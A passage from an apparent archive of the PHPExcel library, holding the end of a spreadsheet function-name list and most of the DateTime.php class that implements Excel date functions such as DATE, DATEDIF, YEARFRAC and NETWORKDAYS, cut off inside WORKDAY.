SEARCHB SECOND SERIESSUM SIGN SIN SINH SKEW SLN SLOPE SMALL SQRT SQRTPI STANDARDIZE STDEV STDEVA STDEVP STDEVPA STEYX SUBSTITUTE SUBTOTAL SUM SUMIF SUMIFS SUMPRODUCT SUMSQ SUMX2MY2 SUMX2PY2 SUMXMY2 SYD T TAN TANH TBILLEQ TBILLPRICE TBILLYIELD TDIST TEXT TIME TIMEVALUE TINV TODAY TRANSPOSE TREND TRIM TRIMMEAN TRUE TRUNC TTEST TYPE UPPER USDOLLAR VALUE VAR VARA VARP VARPA VDB VERSION VLOOKUP WEEKDAY WEEKNUM WEIBULL WORKDAY XIRR XNPV YEAR YEARFRAC YIELD YIELDDISC YIELDMAT ZTEST PHPExcel/Calculation/DateTime.php 0000644 00000206715 14642534107 0012640 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Calculation_DateTime * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_DateTime { /** * Identify if a year is a leap year or not * * @param integer $year The year to test * @return boolean TRUE if the year is a leap year, otherwise FALSE */ public static function isLeapYear($year) { return ((($year % 4) == 0) && (($year % 100) != 0) || (($year % 400) == 0)); } /** * Return the number of days between two dates based on a 360 day calendar * * @param integer $startDay Day of month of the start date * @param integer $startMonth Month of the start date * @param integer $startYear Year of the start date * @param integer $endDay Day of month of the start date * @param integer $endMonth Month of the start date * @param integer $endYear Year of the start date * @param boolean $methodUS Whether to use the US method or the European method of calculation * @return integer Number of days between the start date and the end date */ private static function dateDiff360($startDay, $startMonth, $startYear, $endDay, $endMonth, $endYear, $methodUS) { if ($startDay == 31) { --$startDay; } elseif ($methodUS && ($startMonth == 2 && ($startDay == 29 || ($startDay == 28 && !self::isLeapYear($startYear))))) { $startDay = 30; } if ($endDay == 31) { if ($methodUS && $startDay != 30) { $endDay = 1; if ($endMonth == 12) { ++$endYear; $endMonth = 1; } else { ++$endMonth; } } else { $endDay = 30; } } return $endDay + $endMonth * 30 + $endYear * 360 - $startDay - $startMonth * 30 - $startYear * 360; } /** * getDateValue * * @param string $dateValue * @return mixed Excel date/time serial value, or string if error */ public static function getDateValue($dateValue) { if (!is_numeric($dateValue)) { if ((is_string($dateValue)) && (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC)) { return PHPExcel_Calculation_Functions::VALUE(); } if ((is_object($dateValue)) && ($dateValue instanceof DateTime)) { $dateValue = PHPExcel_Shared_Date::PHPToExcel($dateValue); } else { $saveReturnDateType = PHPExcel_Calculation_Functions::getReturnDateType(); PHPExcel_Calculation_Functions::setReturnDateType(PHPExcel_Calculation_Functions::RETURNDATE_EXCEL); $dateValue = self::DATEVALUE($dateValue); PHPExcel_Calculation_Functions::setReturnDateType($saveReturnDateType); } } return $dateValue; } /** * getTimeValue * * @param string $timeValue * @return mixed Excel date/time serial value, or string if error */ private static function getTimeValue($timeValue) { $saveReturnDateType = PHPExcel_Calculation_Functions::getReturnDateType(); PHPExcel_Calculation_Functions::setReturnDateType(PHPExcel_Calculation_Functions::RETURNDATE_EXCEL); $timeValue = self::TIMEVALUE($timeValue); PHPExcel_Calculation_Functions::setReturnDateType($saveReturnDateType); return $timeValue; } private static function adjustDateByMonths($dateValue = 0, $adjustmentMonths = 0) { // Execute function $PHPDateObject = PHPExcel_Shared_Date::ExcelToPHPObject($dateValue); $oMonth = (int) $PHPDateObject->format('m'); $oYear = (int) $PHPDateObject->format('Y'); $adjustmentMonthsString = (string) $adjustmentMonths; if ($adjustmentMonths > 0) { $adjustmentMonthsString = '+'.$adjustmentMonths; } if ($adjustmentMonths != 0) { $PHPDateObject->modify($adjustmentMonthsString.' months'); } $nMonth = (int) $PHPDateObject->format('m'); $nYear = (int) $PHPDateObject->format('Y'); $monthDiff = ($nMonth - $oMonth) + (($nYear - $oYear) * 12); if ($monthDiff != $adjustmentMonths) { $adjustDays = (int) $PHPDateObject->format('d'); $adjustDaysString = '-'.$adjustDays.' days'; $PHPDateObject->modify($adjustDaysString); } return $PHPDateObject; } /** * DATETIMENOW * * Returns the current date and time. * The NOW function is useful when you need to display the current date and time on a worksheet or * calculate a value based on the current date and time, and have that value updated each time you * open the worksheet. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the date * and time format of your regional settings. PHPExcel does not change cell formatting in this way. * * Excel Function: * NOW() * * @access public * @category Date/Time Functions * @return mixed Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function DATETIMENOW() { $saveTimeZone = date_default_timezone_get(); date_default_timezone_set('UTC'); $retValue = false; switch (PHPExcel_Calculation_Functions::getReturnDateType()) { case PHPExcel_Calculation_Functions::RETURNDATE_EXCEL: $retValue = (float) PHPExcel_Shared_Date::PHPToExcel(time()); break; case PHPExcel_Calculation_Functions::RETURNDATE_PHP_NUMERIC: $retValue = (integer) time(); break; case PHPExcel_Calculation_Functions::RETURNDATE_PHP_OBJECT: $retValue = new DateTime(); break; } date_default_timezone_set($saveTimeZone); return $retValue; } /** * DATENOW * * Returns the current date. * The NOW function is useful when you need to display the current date and time on a worksheet or * calculate a value based on the current date and time, and have that value updated each time you * open the worksheet. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the date * and time format of your regional settings. PHPExcel does not change cell formatting in this way. * * Excel Function: * TODAY() * * @access public * @category Date/Time Functions * @return mixed Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function DATENOW() { $saveTimeZone = date_default_timezone_get(); date_default_timezone_set('UTC'); $retValue = false; $excelDateTime = floor(PHPExcel_Shared_Date::PHPToExcel(time())); switch (PHPExcel_Calculation_Functions::getReturnDateType()) { case PHPExcel_Calculation_Functions::RETURNDATE_EXCEL: $retValue = (float) $excelDateTime; break; case PHPExcel_Calculation_Functions::RETURNDATE_PHP_NUMERIC: $retValue = (integer) PHPExcel_Shared_Date::ExcelToPHP($excelDateTime); break; case PHPExcel_Calculation_Functions::RETURNDATE_PHP_OBJECT: $retValue = PHPExcel_Shared_Date::ExcelToPHPObject($excelDateTime); break; } date_default_timezone_set($saveTimeZone); return $retValue; } /** * DATE * * The DATE function returns a value that represents a particular date. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the date * format of your regional settings. PHPExcel does not change cell formatting in this way. * * Excel Function: * DATE(year,month,day) * * PHPExcel is a lot more forgiving than MS Excel when passing non numeric values to this function. * A Month name or abbreviation (English only at this point) such as 'January' or 'Jan' will still be accepted, * as will a day value with a suffix (e.g. '21st' rather than simply 21); again only English language. * * @access public * @category Date/Time Functions * @param integer $year The value of the year argument can include one to four digits. * Excel interprets the year argument according to the configured * date system: 1900 or 1904. * If year is between 0 (zero) and 1899 (inclusive), Excel adds that * value to 1900 to calculate the year. For example, DATE(108,1,2) * returns January 2, 2008 (1900+108). * If year is between 1900 and 9999 (inclusive), Excel uses that * value as the year. For example, DATE(2008,1,2) returns January 2, * 2008. * If year is less than 0 or is 10000 or greater, Excel returns the * #NUM! error value. * @param integer $month A positive or negative integer representing the month of the year * from 1 to 12 (January to December). * If month is greater than 12, month adds that number of months to * the first month in the year specified. For example, DATE(2008,14,2) * returns the serial number representing February 2, 2009. * If month is less than 1, month subtracts the magnitude of that * number of months, plus 1, from the first month in the year * specified. For example, DATE(2008,-3,2) returns the serial number * representing September 2, 2007. * @param integer $day A positive or negative integer representing the day of the month * from 1 to 31. * If day is greater than the number of days in the month specified, * day adds that number of days to the first day in the month. For * example, DATE(2008,1,35) returns the serial number representing * February 4, 2008. * If day is less than 1, day subtracts the magnitude that number of * days, plus one, from the first day of the month specified. For * example, DATE(2008,1,-15) returns the serial number representing * December 16, 2007. * @return mixed Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function DATE($year = 0, $month = 1, $day = 1) { $year = PHPExcel_Calculation_Functions::flattenSingleValue($year); $month = PHPExcel_Calculation_Functions::flattenSingleValue($month); $day = PHPExcel_Calculation_Functions::flattenSingleValue($day); if (($month !== null) && (!is_numeric($month))) { $month = PHPExcel_Shared_Date::monthStringToNumber($month); } if (($day !== null) && (!is_numeric($day))) { $day = PHPExcel_Shared_Date::dayStringToNumber($day); } $year = ($year !== null) ? PHPExcel_Shared_String::testStringAsNumeric($year) : 0; $month = ($month !== null) ? PHPExcel_Shared_String::testStringAsNumeric($month) : 0; $day = ($day !== null) ? PHPExcel_Shared_String::testStringAsNumeric($day) : 0; if ((!is_numeric($year)) || (!is_numeric($month)) || (!is_numeric($day))) { return PHPExcel_Calculation_Functions::VALUE(); } $year = (integer) $year; $month = (integer) $month; $day = (integer) $day; $baseYear = PHPExcel_Shared_Date::getExcelCalendar(); // Validate parameters if ($year < ($baseYear-1900)) { return PHPExcel_Calculation_Functions::NaN(); } if ((($baseYear-1900) != 0) && ($year < $baseYear) && ($year >= 1900)) { return PHPExcel_Calculation_Functions::NaN(); } if (($year < $baseYear) && ($year >= ($baseYear-1900))) { $year += 1900; } if ($month < 1) { // Handle year/month adjustment if month < 1 --$month; $year += ceil($month / 12) - 1; $month = 13 - abs($month % 12); } elseif ($month > 12) { // Handle year/month adjustment if month > 12 $year += floor($month / 12); $month = ($month % 12); } // Re-validate the year parameter after adjustments if (($year < $baseYear) || ($year >= 10000)) { return PHPExcel_Calculation_Functions::NaN(); } // Execute function $excelDateValue = PHPExcel_Shared_Date::FormattedPHPToExcel($year, $month, $day); switch (PHPExcel_Calculation_Functions::getReturnDateType()) { case PHPExcel_Calculation_Functions::RETURNDATE_EXCEL: return (float) $excelDateValue; case PHPExcel_Calculation_Functions::RETURNDATE_PHP_NUMERIC: return (integer) PHPExcel_Shared_Date::ExcelToPHP($excelDateValue); case PHPExcel_Calculation_Functions::RETURNDATE_PHP_OBJECT: return PHPExcel_Shared_Date::ExcelToPHPObject($excelDateValue); } } /** * TIME * * The TIME function returns a value that represents a particular time. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the time * format of your regional settings. PHPExcel does not change cell formatting in this way. * * Excel Function: * TIME(hour,minute,second) * * @access public * @category Date/Time Functions * @param integer $hour A number from 0 (zero) to 32767 representing the hour. * Any value greater than 23 will be divided by 24 and the remainder * will be treated as the hour value. For example, TIME(27,0,0) = * TIME(3,0,0) = .125 or 3:00 AM. * @param integer $minute A number from 0 to 32767 representing the minute. * Any value greater than 59 will be converted to hours and minutes. * For example, TIME(0,750,0) = TIME(12,30,0) = .520833 or 12:30 PM. * @param integer $second A number from 0 to 32767 representing the second. * Any value greater than 59 will be converted to hours, minutes, * and seconds. For example, TIME(0,0,2000) = TIME(0,33,22) = .023148 * or 12:33:20 AM * @return mixed Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function TIME($hour = 0, $minute = 0, $second = 0) { $hour = PHPExcel_Calculation_Functions::flattenSingleValue($hour); $minute = PHPExcel_Calculation_Functions::flattenSingleValue($minute); $second = PHPExcel_Calculation_Functions::flattenSingleValue($second); if ($hour == '') { $hour = 0; } if ($minute == '') { $minute = 0; } if ($second == '') { $second = 0; } if ((!is_numeric($hour)) || (!is_numeric($minute)) || (!is_numeric($second))) { return PHPExcel_Calculation_Functions::VALUE(); } $hour = (integer) $hour; $minute = (integer) $minute; $second = (integer) $second; if ($second < 0) { $minute += floor($second / 60); $second = 60 - abs($second % 60); if ($second == 60) { $second = 0; } } elseif ($second >= 60) { $minute += floor($second / 60); $second = $second % 60; } if ($minute < 0) { $hour += floor($minute / 60); $minute = 60 - abs($minute % 60); if ($minute == 60) { $minute = 0; } } elseif ($minute >= 60) { $hour += floor($minute / 60); $minute = $minute % 60; } if ($hour > 23) { $hour = $hour % 24; } elseif ($hour < 0) { return PHPExcel_Calculation_Functions::NaN(); } // Execute function switch (PHPExcel_Calculation_Functions::getReturnDateType()) { case PHPExcel_Calculation_Functions::RETURNDATE_EXCEL: $date = 0; $calendar = PHPExcel_Shared_Date::getExcelCalendar(); if ($calendar != PHPExcel_Shared_Date::CALENDAR_WINDOWS_1900) { $date = 1; } return (float) PHPExcel_Shared_Date::FormattedPHPToExcel($calendar, 1, $date, $hour, $minute, $second); case PHPExcel_Calculation_Functions::RETURNDATE_PHP_NUMERIC: return (integer) PHPExcel_Shared_Date::ExcelToPHP(PHPExcel_Shared_Date::FormattedPHPToExcel(1970, 1, 1, $hour, $minute, $second)); // -2147468400; // -2147472000 + 3600 case PHPExcel_Calculation_Functions::RETURNDATE_PHP_OBJECT: $dayAdjust = 0; if ($hour < 0) { $dayAdjust = floor($hour / 24); $hour = 24 - abs($hour % 24); if ($hour == 24) { $hour = 0; } } elseif ($hour >= 24) { $dayAdjust = floor($hour / 24); $hour = $hour % 24; } $phpDateObject = new DateTime('1900-01-01 '.$hour.':'.$minute.':'.$second); if ($dayAdjust != 0) { $phpDateObject->modify($dayAdjust.' days'); } return $phpDateObject; } } /** * DATEVALUE * * Returns a value that represents a particular date. * Use DATEVALUE to convert a date represented by a text string to an Excel or PHP date/time stamp * value. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the date * format of your regional settings. PHPExcel does not change cell formatting in this way. * * Excel Function: * DATEVALUE(dateValue) * * @access public * @category Date/Time Functions * @param string $dateValue Text that represents a date in a Microsoft Excel date format. * For example, "1/30/2008" or "30-Jan-2008" are text strings within * quotation marks that represent dates. Using the default date * system in Excel for Windows, date_text must represent a date from * January 1, 1900, to December 31, 9999. Using the default date * system in Excel for the Macintosh, date_text must represent a date * from January 1, 1904, to December 31, 9999. DATEVALUE returns the * #VALUE! error value if date_text is out of this range. * @return mixed Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function DATEVALUE($dateValue = 1) { $dateValue = trim(PHPExcel_Calculation_Functions::flattenSingleValue($dateValue), '"'); // Strip any ordinals because they're allowed in Excel (English only) $dateValue = preg_replace('/(\d)(st|nd|rd|th)([ -\/])/Ui', '$1$3', $dateValue); // Convert separators (/ . or space) to hyphens (should also handle dot used for ordinals in some countries, e.g. Denmark, Germany) $dateValue = str_replace(array('/', '.', '-', ' '), array(' ', ' ', ' ', ' '), $dateValue); $yearFound = false; $t1 = explode(' ', $dateValue); foreach ($t1 as &$t) { if ((is_numeric($t)) && ($t > 31)) { if ($yearFound) { return PHPExcel_Calculation_Functions::VALUE(); } else { if ($t < 100) { $t += 1900; } $yearFound = true; } } } if ((count($t1) == 1) && (strpos($t, ':') != false)) { // We've been fed a time value without any date return 0.0; } elseif (count($t1) == 2) { // We only have two parts of the date: either day/month or month/year if ($yearFound) { array_unshift($t1, 1); } else { array_push($t1, date('Y')); } } unset($t); $dateValue = implode(' ', $t1); $PHPDateArray = date_parse($dateValue); if (($PHPDateArray === false) || ($PHPDateArray['error_count'] > 0)) { $testVal1 = strtok($dateValue, '- '); if ($testVal1 !== false) { $testVal2 = strtok('- '); if ($testVal2 !== false) { $testVal3 = strtok('- '); if ($testVal3 === false) { $testVal3 = strftime('%Y'); } } else { return PHPExcel_Calculation_Functions::VALUE(); } } else { return PHPExcel_Calculation_Functions::VALUE(); } $PHPDateArray = date_parse($testVal1.'-'.$testVal2.'-'.$testVal3); if (($PHPDateArray === false) || ($PHPDateArray['error_count'] > 0)) { $PHPDateArray = date_parse($testVal2.'-'.$testVal1.'-'.$testVal3); if (($PHPDateArray === false) || ($PHPDateArray['error_count'] > 0)) { return PHPExcel_Calculation_Functions::VALUE(); } } } if (($PHPDateArray !== false) && ($PHPDateArray['error_count'] == 0)) { // Execute function if ($PHPDateArray['year'] == '') { $PHPDateArray['year'] = strftime('%Y'); } if ($PHPDateArray['year'] < 1900) { return PHPExcel_Calculation_Functions::VALUE(); } if ($PHPDateArray['month'] == '') { $PHPDateArray['month'] = strftime('%m'); } if ($PHPDateArray['day'] == '') { $PHPDateArray['day'] = strftime('%d'); } $excelDateValue = floor( PHPExcel_Shared_Date::FormattedPHPToExcel( $PHPDateArray['year'], $PHPDateArray['month'], $PHPDateArray['day'], $PHPDateArray['hour'], $PHPDateArray['minute'], $PHPDateArray['second'] ) ); switch (PHPExcel_Calculation_Functions::getReturnDateType()) { case PHPExcel_Calculation_Functions::RETURNDATE_EXCEL: return (float) $excelDateValue; case PHPExcel_Calculation_Functions::RETURNDATE_PHP_NUMERIC: return (integer) PHPExcel_Shared_Date::ExcelToPHP($excelDateValue); case PHPExcel_Calculation_Functions::RETURNDATE_PHP_OBJECT: return new DateTime($PHPDateArray['year'].'-'.$PHPDateArray['month'].'-'.$PHPDateArray['day'].' 00:00:00'); } } return PHPExcel_Calculation_Functions::VALUE(); } /** * TIMEVALUE * * Returns a value that represents a particular time. * Use TIMEVALUE to convert a time represented by a text string to an Excel or PHP date/time stamp * value. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the time * format of your regional settings. PHPExcel does not change cell formatting in this way. * * Excel Function: * TIMEVALUE(timeValue) * * @access public * @category Date/Time Functions * @param string $timeValue A text string that represents a time in any one of the Microsoft * Excel time formats; for example, "6:45 PM" and "18:45" text strings * within quotation marks that represent time. * Date information in time_text is ignored. * @return mixed Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function TIMEVALUE($timeValue) { $timeValue = trim(PHPExcel_Calculation_Functions::flattenSingleValue($timeValue), '"'); $timeValue = str_replace(array('/', '.'), array('-', '-'), $timeValue); $PHPDateArray = date_parse($timeValue); if (($PHPDateArray !== false) && ($PHPDateArray['error_count'] == 0)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { $excelDateValue = PHPExcel_Shared_Date::FormattedPHPToExcel( $PHPDateArray['year'], $PHPDateArray['month'], $PHPDateArray['day'], $PHPDateArray['hour'], $PHPDateArray['minute'], $PHPDateArray['second'] ); } else { $excelDateValue = PHPExcel_Shared_Date::FormattedPHPToExcel(1900, 1, 1, $PHPDateArray['hour'], $PHPDateArray['minute'], $PHPDateArray['second']) - 1; } switch (PHPExcel_Calculation_Functions::getReturnDateType()) { case PHPExcel_Calculation_Functions::RETURNDATE_EXCEL: return (float) $excelDateValue; case PHPExcel_Calculation_Functions::RETURNDATE_PHP_NUMERIC: return (integer) $phpDateValue = PHPExcel_Shared_Date::ExcelToPHP($excelDateValue+25569) - 3600; case PHPExcel_Calculation_Functions::RETURNDATE_PHP_OBJECT: return new DateTime('1900-01-01 '.$PHPDateArray['hour'].':'.$PHPDateArray['minute'].':'.$PHPDateArray['second']); } } return PHPExcel_Calculation_Functions::VALUE(); } /** * DATEDIF * * @param mixed $startDate Excel date serial value, PHP date/time stamp, PHP DateTime object * or a standard date string * @param mixed $endDate Excel date serial value, PHP date/time stamp, PHP DateTime object * or a standard date string * @param string $unit * @return integer Interval between the dates */ public static function DATEDIF($startDate = 0, $endDate = 0, $unit = 'D') { $startDate = PHPExcel_Calculation_Functions::flattenSingleValue($startDate); $endDate = PHPExcel_Calculation_Functions::flattenSingleValue($endDate); $unit = strtoupper(PHPExcel_Calculation_Functions::flattenSingleValue($unit)); if (is_string($startDate = self::getDateValue($startDate))) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_string($endDate = self::getDateValue($endDate))) { return PHPExcel_Calculation_Functions::VALUE(); } // Validate parameters if ($startDate >= $endDate) { return PHPExcel_Calculation_Functions::NaN(); } // Execute function $difference = $endDate - $startDate; $PHPStartDateObject = PHPExcel_Shared_Date::ExcelToPHPObject($startDate); $startDays = $PHPStartDateObject->format('j'); $startMonths = $PHPStartDateObject->format('n'); $startYears = $PHPStartDateObject->format('Y'); $PHPEndDateObject = PHPExcel_Shared_Date::ExcelToPHPObject($endDate); $endDays = $PHPEndDateObject->format('j'); $endMonths = $PHPEndDateObject->format('n'); $endYears = $PHPEndDateObject->format('Y'); $retVal = PHPExcel_Calculation_Functions::NaN(); switch ($unit) { case 'D': $retVal = intval($difference); break; case 'M': $retVal = intval($endMonths - $startMonths) + (intval($endYears - $startYears) * 12); // We're only interested in full months if ($endDays < $startDays) { --$retVal; } break; case 'Y': $retVal = intval($endYears - $startYears); // We're only interested in full months if ($endMonths < $startMonths) { --$retVal; } elseif (($endMonths == $startMonths) && ($endDays < $startDays)) { --$retVal; } break; case 'MD': if ($endDays < $startDays) { $retVal = $endDays; $PHPEndDateObject->modify('-'.$endDays.' days'); $adjustDays = $PHPEndDateObject->format('j'); if ($adjustDays > $startDays) { $retVal += ($adjustDays - $startDays); } } else { $retVal = $endDays - $startDays; } break; case 'YM': $retVal = intval($endMonths - $startMonths); if ($retVal < 0) { $retVal += 12; } // We're only interested in full months if ($endDays < $startDays) { --$retVal; } break; case 'YD': $retVal = intval($difference); if ($endYears > $startYears) { while ($endYears > $startYears) { $PHPEndDateObject->modify('-1 year'); $endYears = $PHPEndDateObject->format('Y'); } $retVal = $PHPEndDateObject->format('z') - $PHPStartDateObject->format('z'); if ($retVal < 0) { $retVal += 365; } } break; default: $retVal = PHPExcel_Calculation_Functions::NaN(); } return $retVal; } /** * DAYS360 * * Returns the number of days between two dates based on a 360-day year (twelve 30-day months), * which is used in some accounting calculations. Use this function to help compute payments if * your accounting system is based on twelve 30-day months. * * Excel Function: * DAYS360(startDate,endDate[,method]) * * @access public * @category Date/Time Functions * @param mixed $startDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @param mixed $endDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @param boolean $method US or European Method * FALSE or omitted: U.S. (NASD) method. If the starting date is * the last day of a month, it becomes equal to the 30th of the * same month. If the ending date is the last day of a month and * the starting date is earlier than the 30th of a month, the * ending date becomes equal to the 1st of the next month; * otherwise the ending date becomes equal to the 30th of the * same month. * TRUE: European method. Starting dates and ending dates that * occur on the 31st of a month become equal to the 30th of the * same month. * @return integer Number of days between start date and end date */ public static function DAYS360($startDate = 0, $endDate = 0, $method = false) { $startDate = PHPExcel_Calculation_Functions::flattenSingleValue($startDate); $endDate = PHPExcel_Calculation_Functions::flattenSingleValue($endDate); if (is_string($startDate = self::getDateValue($startDate))) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_string($endDate = self::getDateValue($endDate))) { return PHPExcel_Calculation_Functions::VALUE(); } if (!is_bool($method)) { return PHPExcel_Calculation_Functions::VALUE(); } // Execute function $PHPStartDateObject = PHPExcel_Shared_Date::ExcelToPHPObject($startDate); $startDay = $PHPStartDateObject->format('j'); $startMonth = $PHPStartDateObject->format('n'); $startYear = $PHPStartDateObject->format('Y'); $PHPEndDateObject = PHPExcel_Shared_Date::ExcelToPHPObject($endDate); $endDay = $PHPEndDateObject->format('j'); $endMonth = $PHPEndDateObject->format('n'); $endYear = $PHPEndDateObject->format('Y'); return self::dateDiff360($startDay, $startMonth, $startYear, $endDay, $endMonth, $endYear, !$method); } /** * YEARFRAC * * Calculates the fraction of the year represented by the number of whole days between two dates * (the start_date and the end_date). * Use the YEARFRAC worksheet function to identify the proportion of a whole year's benefits or * obligations to assign to a specific term. * * Excel Function: * YEARFRAC(startDate,endDate[,method]) * * @access public * @category Date/Time Functions * @param mixed $startDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @param mixed $endDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @param integer $method Method used for the calculation * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float fraction of the year */ public static function YEARFRAC($startDate = 0, $endDate = 0, $method = 0) { $startDate = PHPExcel_Calculation_Functions::flattenSingleValue($startDate); $endDate = PHPExcel_Calculation_Functions::flattenSingleValue($endDate); $method = PHPExcel_Calculation_Functions::flattenSingleValue($method); if (is_string($startDate = self::getDateValue($startDate))) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_string($endDate = self::getDateValue($endDate))) { return PHPExcel_Calculation_Functions::VALUE(); } if (((is_numeric($method)) && (!is_string($method))) || ($method == '')) { switch ($method) { case 0: return self::DAYS360($startDate, $endDate) / 360; case 1: $days = self::DATEDIF($startDate, $endDate); $startYear = self::YEAR($startDate); $endYear = self::YEAR($endDate); $years = $endYear - $startYear + 1; $leapDays = 0; if ($years == 1) { if (self::isLeapYear($endYear)) { $startMonth = self::MONTHOFYEAR($startDate); $endMonth = self::MONTHOFYEAR($endDate); $endDay = self::DAYOFMONTH($endDate); if (($startMonth < 3) || (($endMonth * 100 + $endDay) >= (2 * 100 + 29))) { $leapDays += 1; } } } else { for ($year = $startYear; $year <= $endYear; ++$year) { if ($year == $startYear) { $startMonth = self::MONTHOFYEAR($startDate); $startDay = self::DAYOFMONTH($startDate); if ($startMonth < 3) { $leapDays += (self::isLeapYear($year)) ? 1 : 0; } } elseif ($year == $endYear) { $endMonth = self::MONTHOFYEAR($endDate); $endDay = self::DAYOFMONTH($endDate); if (($endMonth * 100 + $endDay) >= (2 * 100 + 29)) { $leapDays += (self::isLeapYear($year)) ? 1 : 0; } } else { $leapDays += (self::isLeapYear($year)) ? 1 : 0; } } if ($years == 2) { if (($leapDays == 0) && (self::isLeapYear($startYear)) && ($days > 365)) { $leapDays = 1; } elseif ($days < 366) { $years = 1; } } $leapDays /= $years; } return $days / (365 + $leapDays); case 2: return self::DATEDIF($startDate, $endDate) / 360; case 3: return self::DATEDIF($startDate, $endDate) / 365; case 4: return self::DAYS360($startDate, $endDate, true) / 360; } } return PHPExcel_Calculation_Functions::VALUE(); } /** * NETWORKDAYS * * Returns the number of whole working days between start_date and end_date. Working days * exclude weekends and any dates identified in holidays. * Use NETWORKDAYS to calculate employee benefits that accrue based on the number of days * worked during a specific term. * * Excel Function: * NETWORKDAYS(startDate,endDate[,holidays[,holiday[,...]]]) * * @access public * @category Date/Time Functions * @param mixed $startDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @param mixed $endDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @param mixed $holidays,... Optional series of Excel date serial value (float), PHP date * timestamp (integer), PHP DateTime object, or a standard date * strings that will be excluded from the working calendar, such * as state and federal holidays and floating holidays. * @return integer Interval between the dates */ public static function NETWORKDAYS($startDate, $endDate) { // Retrieve the mandatory start and end date that are referenced in the function definition $startDate = PHPExcel_Calculation_Functions::flattenSingleValue($startDate); $endDate = PHPExcel_Calculation_Functions::flattenSingleValue($endDate); // Flush the mandatory start and end date that are referenced in the function definition, and get the optional days $dateArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); array_shift($dateArgs); array_shift($dateArgs); // Validate the start and end dates if (is_string($startDate = $sDate = self::getDateValue($startDate))) { return PHPExcel_Calculation_Functions::VALUE(); } $startDate = (float) floor($startDate); if (is_string($endDate = $eDate = self::getDateValue($endDate))) { return PHPExcel_Calculation_Functions::VALUE(); } $endDate = (float) floor($endDate); if ($sDate > $eDate) { $startDate = $eDate; $endDate = $sDate; } // Execute function $startDoW = 6 - self::DAYOFWEEK($startDate, 2); if ($startDoW < 0) { $startDoW = 0; } $endDoW = self::DAYOFWEEK($endDate, 2); if ($endDoW >= 6) { $endDoW = 0; } $wholeWeekDays = floor(($endDate - $startDate) / 7) * 5; $partWeekDays = $endDoW + $startDoW; if ($partWeekDays > 5) { $partWeekDays -= 5; } // Test any extra holiday parameters $holidayCountedArray = array(); foreach ($dateArgs as $holidayDate) { if (is_string($holidayDate = self::getDateValue($holidayDate))) { return PHPExcel_Calculation_Functions::VALUE(); } if (($holidayDate >= $startDate) && ($holidayDate <= $endDate)) { if ((self::DAYOFWEEK($holidayDate, 2) < 6) && (!in_array($holidayDate, $holidayCountedArray))) { --$partWeekDays; $holidayCountedArray[] = $holidayDate; } } } if ($sDate > $eDate) { return 0 - ($wholeWeekDays + $partWeekDays); } return $wholeWeekDays + $partWeekDays; } /** * WORKDAY * * Returns the date that is the indicated number of working days before or after a date (the * starting date). Working days exclude weekends and any dates identified as holidays. * Use WORKDAY to exclude weekends or holidays when you calculate invoice due dates, expected * delivery times, or the number of days of work performed. * * Excel Function: * WORKDAY(startDate,endDays[,holidays[,holiday[,...]]]) * * @access public * @category Date/Time Functions * @param mixed $startDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @param integer $endDays The number of nonweekend and nonholiday days before or after * startDate. A positive value for days yields a future date; a * negative value yields a past date. * @param mixed $holidays,... Optional series of Excel date serial value (float), PHP date * timestamp (integer), PHP DateTime object, or a standard date * strings that will be excluded from the working calendar, such * as state and federal holidays and floating holidays. * @return mixed Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function WORKDAY($startDate, $endDays) { // Retrieve the mandatory start date and days that are referenced in the function definition $startDate = 